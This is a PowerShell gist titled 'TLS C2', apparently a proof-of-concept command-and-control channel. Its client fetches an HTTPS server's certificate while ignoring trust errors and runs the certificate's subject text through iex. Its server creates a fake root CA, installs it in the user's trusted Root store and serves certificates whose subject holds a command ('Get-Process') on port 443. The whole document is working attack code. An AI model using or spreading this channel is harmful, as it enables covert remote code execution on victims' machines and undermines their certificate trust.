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@leoloobeek
Created May 17, 2018 16:25
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TLS C2
function Get-PublicKey
{
[OutputType([byte[]])]
PARAM (
[Uri]$Uri
)
if (-Not ($uri.Scheme -eq "https"))
{
Write-Error "You can only get keys for https addresses"
return
}
$request = [System.Net.HttpWebRequest]::Create($uri)
try
{
#Make the request but ignore (dispose it) the response, since we only care about the service point
$request.GetResponse().Dispose()
}
catch [System.Net.WebException]
{
if ($_.Exception.Status -eq [System.Net.WebExceptionStatus]::TrustFailure)
{
#We ignore trust failures, since we only want the certificate, and the service point is still populated at this point
}
else
{
#Let other exceptions bubble up, or write-error the exception and return from this method
Write-Verbose $_.Exception.Message
throw
}
}
#The ServicePoint object should now contain the Certificate for the site.
$servicePoint = $request.ServicePoint
$x509 = $servicePoint.Certificate
$x509.Subject.Trim("CN=") | iex
}
# Executes Subject Of Certificate
Get-PublicKey -Uri "https://127.0.0.1/"
function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA)
{
#Created as PoC by Casey Smith @subTee
$CAsubject = $certSubject
$dn = new-object -com "X509Enrollment.CX500DistinguishedName"
$dn.Encode( "CN=" + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
#Issuer Property for cleanup
$issuer = "__Interceptor_Trusted_Root"
$issuerdn = new-object -com "X509Enrollment.CX500DistinguishedName"
$issuerdn.Encode("CN=" + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
#Subject Alternative Name
$objRfc822Name = new-object -com "X509Enrollment.CAlternativeName";
$objAlternativeNames = new-object -com "X509Enrollment.CAlternativeNames";
$objExtensionAlternativeNames = new-object -com "X509Enrollment.CX509ExtensionAlternativeNames";
#Set Alternative RFC822 Name
$objRfc822Name.InitializeFromString(3, $certSubject); #https://msdn.microsoft.com/en-us/library/windows/desktop/aa374830(v=vs.85).aspx
#Set Alternative Names
$objAlternativeNames.Add($objRfc822Name);
$objExtensionAlternativeNames.InitializeEncode($objAlternativeNames);
# Create a new Private Key
$key = new-object -com "X509Enrollment.CX509PrivateKey"
$key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" #"Microsoft Enhanced Cryptographic Provider v1.0"
$key.ExportPolicy = 2; #Mark As Exportable
# Set CAcert to 1 to be used for Signature
if($isCA)
{
$key.KeySpec = 2
}
else
{
$key.KeySpec = 1
}
$key.Length = 1024
$key.MachineContext = $false # 1 For Machine 0 For User
$key.Create()
# Create Attributes
$serverauthoid = new-object -com "X509Enrollment.CObjectId"
$serverauthoid.InitializeFromValue("1.3.6.1.5.5.7.3.1")
$ekuoids = new-object -com "X509Enrollment.CObjectIds.1"
$ekuoids.add($serverauthoid)
$ekuext = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage"
$ekuext.InitializeEncode($ekuoids)
$cert = new-object -com "X509Enrollment.CX509CertificateRequestCertificate"
$cert.InitializeFromPrivateKey(1, $key, "")
$cert.Subject = $dn
$cert.Issuer = $issuerdn
$cert.NotBefore = (get-date).AddDays(-1) #Backup One day to Avoid Timing Issues
$cert.NotAfter = $cert.NotBefore.AddDays(90) #Arbitrary... Change to persist longer...
#Use Sha256
$hashAlgorithmObject = New-Object -ComObject X509Enrollment.CObjectId
$hashAlgorithmObject.InitializeFromAlgorithmName(1,0,0,"SHA256")
$cert.HashAlgorithm = $hashAlgorithmObject
#Good Reference Here http://www.css-security.com/blog/creating-a-self-signed-ssl-certificate-using-powershell/
$cert.X509Extensions.Add($ekuext)
$cert.X509Extensions.Add($objExtensionAlternativeNames);
if ($isCA)
{
$basicConst = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints"
$basicConst.InitializeEncode("true", 1)
$cert.X509Extensions.Add($basicConst)
}
else
{
$signer = (Get-ChildItem Cert:\CurrentUser\Root | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" })
$signerCertificate = new-object -com "X509Enrollment.CSignerCertificate"
$signerCertificate.Initialize(0,0,4, $signer.Thumbprint)
$cert.SignerCertificate = $signerCertificate
}
$cert.Encode()
$enrollment = new-object -com "X509Enrollment.CX509Enrollment"
$enrollment.InitializeFromRequest($cert)
$certdata = $enrollment.CreateRequest(0)
$enrollment.InstallResponse(2, $certdata, 0, "")
if($isCA)
{
# Need a Better way to do this...
$CACertificate = (Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" })
# Install CA Root Certificate
$StoreScope = "CurrentUser"
$StoreName = "Root"
$store = New-Object System.Security.Cryptography.X509Certificates.X509Store $StoreName, $StoreScope
$store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$store.Add($CACertificate)
$store.Close()
}
else
{
return (Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -match $CAsubject })
}
}
function Receive-ClientHttpRequest([System.Net.Sockets.TcpClient] $client)
{
Try
{
$clientStream = $client.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($clientStream , $false)
$sslStream.ReadTimeout = 500
$sslStream.WriteTimeout = 500
<# Dynamically Generate Certifictes #>
$sslcertfake = (Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -eq "CN=Get-Process" })
if ($sslcertfake -eq $null)
{
$sslcertfake = Invoke-CreateCertificate "Get-Process" $false
}
Write-Host $sslcertfake -Fore Yellow
Write-Host "Request Received" -Fore Green
$sslStream.AuthenticateAsServer($sslcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)
}
Catch
{
Write-Verbose $_.Exception.Message
$client.Close()
}
Finally
{
$client.Close()
}
}
$endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, 443)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
[Console]::WriteLine("Listening on 443")
$client = New-Object System.Net.Sockets.TcpClient
$client.NoDelay = $true
while($true)
{
$client = $listener.AcceptTcpClient()
if($client -ne $null)
{
Receive-ClientHttpRequest $client
}
}
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